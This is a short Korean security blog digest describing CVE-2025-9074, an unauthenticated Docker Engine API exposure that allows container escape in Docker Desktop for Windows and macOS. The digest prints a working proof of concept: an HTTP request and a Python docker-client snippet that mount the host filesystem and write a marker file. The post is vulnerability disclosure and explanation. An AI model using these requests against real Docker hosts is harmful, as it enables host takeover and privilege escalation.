[하루한줄] CVE-2025-9074: Windows/macOS Docker Container Escape 취약점
URL
https://isosecu.com/blog/windows-cve-2025-9074-docker-ssrf
Target
- Docker Desktop Windows/macOS < 4.44.3
Explain
Windows, macOS 플랫폼의 Docker Desktop에서 발견된 Container Escape 취약점 CVE-2025-9074의 세부 정보가 공개되었습니다.
Windows, macOS 플랫폼의 Docker Desktop은 게이트웨이에 바인딩된 TCP 서비스를 통해 컨테이너에 HTTP API인 http://192.168.65.7:2375
를 expose합니다. 해당 API는 컨테이너 생성 및 시작, 이미지 관리, 호스트 볼륨 마운트 등 유저가 컨테이너를 컨트롤할 때 내부적으로 사용되는 Docker Engine API로, 컨테이너에서 API 요청시 인증이나 TLS를 요구하지 않아 컨테이너가 호스트의 관리 API와 통신이 가능합니다.
Linux는 TCP 서비스 대신 Unix 소켓
/var/run/docker.sock
을 사용하기 때문에, 해당 소켓이 컨테이너에 명시적으로 마운트되지 않는 한 취약점의 영향을 받지 않습니다.
PoC는 아래와 같습니다
PoC 출처: https://isosecu.com/blog/windows-cve-2025-9074-docker-ssrf
- 호스트 볼륨 바인딩을 사용하는 컨테이너를 생성합니다.
POST http://192.168.65.7:2375/containers/create
Content-Type: application/json
{
"Image": "alpine",
"Volumes": {
"C:\\": {}
},
"HostConfig": {
"Binds": ["C:\\: /mnt/host_c"]
},
"Cmd": ["touch", "/mnt/host_c/pwned_by_CVE_2025_9074"]
}
- 컨테이너에서 Docker Engine API에 요청을 보내는 것으로 호스트의 파일시스템에 접근할 수 있습니다.
import docker
client = docker.DockerClient(base_url="tcp://192.168.65.7:2375")
client.containers.run(
"alpine",
"touch /mnt/pwned",
volumes=["/Users/youruser/:/mnt"]
)
취약점을 악용하면 컨테이너에서 실행되는 웹 서비스의 SSRF 취약점을 통해 Docker Engine API에 요청을 보내는 것으로 간단하게 호스트 시스템에 접근 가능합니다. 따라서 컨테이너에서의 완전한 코드 실행 권한이 없어도 Container Escape를 트리거할 수 있습니다.
취약점을 악용할 경우 WSL2 백엔드 기반의 Windows에서는 전체 파일 시스템 마운트, DLL hijacking 등을 통해 권한 상승까지 가능하며, macOS는 제한된 권한에서 동작하나 여전히 호스트 Docker에 접근 가능해 백도어 등으로 악용될 수 있습니다.
Reference
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.